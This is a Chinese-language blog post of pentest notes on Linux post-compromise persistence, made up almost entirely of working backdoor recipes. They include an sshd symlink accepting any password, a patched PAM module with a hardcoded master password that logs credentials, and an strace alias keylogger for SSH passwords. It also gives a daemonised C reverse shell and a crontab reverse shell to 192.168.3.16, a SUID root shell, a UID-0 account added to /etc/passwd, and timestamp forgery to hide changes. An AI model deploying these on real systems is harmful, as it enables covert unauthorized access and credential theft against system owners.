linux权限维持

SSH后门

软链接

1
2
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345  # -oport 的意思是监听端口
ssh root@192.168.78.19 -p 1234su

输入任意密码就可以 root 用户权限登陆,如果 root 用户被禁止登陆时,可以利用其他存在的用户身份登陆

Linux的一个后门引发对PAM的探究 - 番茄汁汁 - 博客园 (cnblogs.com)

该方式可以实现免密的登录

image-20240216161709771

发现这这个su 的help 是sshd的,因为我们使用的软链接

然后我们的主机就可以使用ssh 任意密码就可以实现登录了

ssh key

  1. 生成公钥和私钥

    我们主机运行

    1
    ssh-keygen -t rsa

    把公钥id_rsa.pub发送到目标authorized_keys文件中

    image-20240216163648231

    可以先将这个临时放入一个文件,然后将这个文件上传到受害者的机器上,然后将内容导入到authorized_keys

    注意是添加

    1
    ls /root/.ssh/authorized_keys
  2. 更改authorized_keys 时间

    就是选择一个模板文件,然后将这个模板文件的时间同步给authorized_keys

    1
    2
    3
    4
    touch -r 参考文件 authorized_keys

    如:
    touch -r /www/wwwroot/upload.zip authorized_keys
  3. 然后重启ssh 服务

    1
    service ssh restart
  4. 接下来就可以免密登录了

如果出现了错误说是私钥文件too open那就尝试将生成的公钥文件的权限进行缩小,如果是Linux 就直接修改小权限就可以,如果是windows 的话,可以将其他用户移除,然后选择本用户就可以了

SSH Keylogger

编辑当前用户下的.bashrc文件,在配置文件末尾添加:

1
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'

strace 常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设 备,当进程需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至 内核态模式,通过系统调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返 回值,执行消耗的时间。

SSH连接输入密码时的密码无论错误或者正确都能记录到log里。

然后访问这个文件

image-20240216164543289

就可以发现其他人的输入的密码

Linux PAM 后门

PAM这个模块用于检测ssh 登录时,用于检测密码是否正确

我们可以在PAM 安装后门

  1. 安装环境

    1
    apt install -y gcc flex
  2. 修改源码

    1
    vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
    1
    2
    :set number
    181G

    image-20240216170339632

    添加内容

    1
    if (strcmp("august",p)==0) {return PAM_SUCCESS;}

    august 时设置的密码

    依次执行

    1
    2
    3
    4
    5
    cd Linux-PAM-1.1.8

    ./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr

    make
    1
    so文件路径:Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
  3. 替换受害者的文件

    • 查看文件在哪里

      1
      find / -name pam_unix.so 2>/dev/null
    • 备份原来的文件

      1
      cp /lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
    • 替换系统的文件

      1
      2
      cp /root/桌面/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

  4. 修改时间戳

1
2
cd /lib/x86_64-linux-gnu/security/
touch pam_unix.so -r pam_xauth.so # <参考文件或目录> 把指定文件或目录的日期时间,统统设成和参考文件或目录的日期时间相同;
  1. 登录

    接下来无论密码是什么都可以使用august登录

  2. 优化

    查看日志文件:/var/log/auth.log,发现这种方式下的登录跟正常登录下的情况不一样

    修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
            /* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    // if (strcmp("mingyue",p)==0) {return PAM_SUCCESS;}
    FILE * fp;
    if (retval == PAM_SUCCESS) {
    fp = fopen("/etc/pam.txt","a");
    fprintf(fp,"%s->%s\n", name,p);
    fclose(fp);
    }
    name = p = NULL;

    修改Linux-PAM-1.1.8/modules/pam_unix/support.c

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    int _unix_verify_password(pam_handle_t * pamh, const char *name
    ,const char *p, unsigned int ctrl)
    {
    struct passwd *pwd = NULL;
    char *salt = NULL;
    char *data_name;
    int retval;

    if (strcmp("mingyue2",p)==0) {return PAM_SUCCESS;}

    D(("called"));

    然后编译生成so文件,替换系统pam_unix.so文件即可。

Alias后门

通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。

修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。

1
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh'
  • 反弹shell

    alias cat=’/root/.shell && cat’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>

#define ERR_EXIT(m) do{perror(m); exit(EXIT_FAILURE);}while (0);

void creat_daemon(void);
int main(void)
{
time_t t;
int fd;
creat_daemon();
system("/bin/rm /bin/sh;/bin/ln -s /bin/bash /bin/sh");
system("/bin/bash -i >& /dev/tcp/192.168.3.16/8008 0>&1");
return 0;
}

void creat_daemon(void)
{
pid_t pid;
int devnullfd,fd,fdtablesize;
umask(0);

pid = fork();
if( pid == -1)
ERR_EXIT("fork error");
if(pid > 0 )
exit(EXIT_SUCCESS);
if(setsid() == -1)
ERR_EXIT("SETSID ERROR");
chdir("/");

/* close any open file descriptors */
for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
close(fd);

devnullfd = open("/dev/null", 0);

/* make STDIN ,STDOUT and STDERR point to /dev/null */
if (devnullfd == -1) {
ERR_EXIT("can't open /dev/null");
}
if (dup2(devnullfd, STDIN_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
}
if (dup2(devnullfd, STDOUT_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
if (dup2(devnullfd, STDERR_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
signal(SIGCHLD,SIG_IGN);
return;
}

Crontab后门

定时任务后门

每分钟反弹一次shell给指定ip的8888端口

1
2
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.3.16/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -

1
2
3
4
5
6
7
8
9
10
11
1.服务开启
service crond start

2.编辑计划任务
crontab -e -u 用户名

3.查看计划任务
crontab -l -u 用户名

4.删除计划任务:
crontab -r -u 用户名
1
2
3
4
#相关文件
/var/spool/cron/用户名 #用户定义的设置
/var/log/cron #cron服务的日志文件
/etc/crontab #cron服务配置文件

Setuid & Setgid

Setuid

设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行 该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.

Setgid

该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组 相同的组.

back.c

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>
void main(int argc, char *argv[])
{
setuid(0);
setgid(0);
if(argc > 1)
execl("/bin/sh", "sh", "-c", argv[1], NULL);
else
execl("/bin/sh", "sh", NULL);
}
1
2
3
4
5
6
# 编译程序
gcc back.c -o back
cp back /bin/

# 给程序添加SUID权限
chmod u+s /bin/back

后门账号

1
2
3
4
perl -e 'print crypt("mingy","adgfagm")."\n"'
adu01teZNx5nY
echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash" >> /etc/passwd


linux权限维持
https://tsy244.github.io/2024/02/16/渗透/linux权限维持/
Author
August Rosenberg
Posted on
February 16, 2024
Licensed under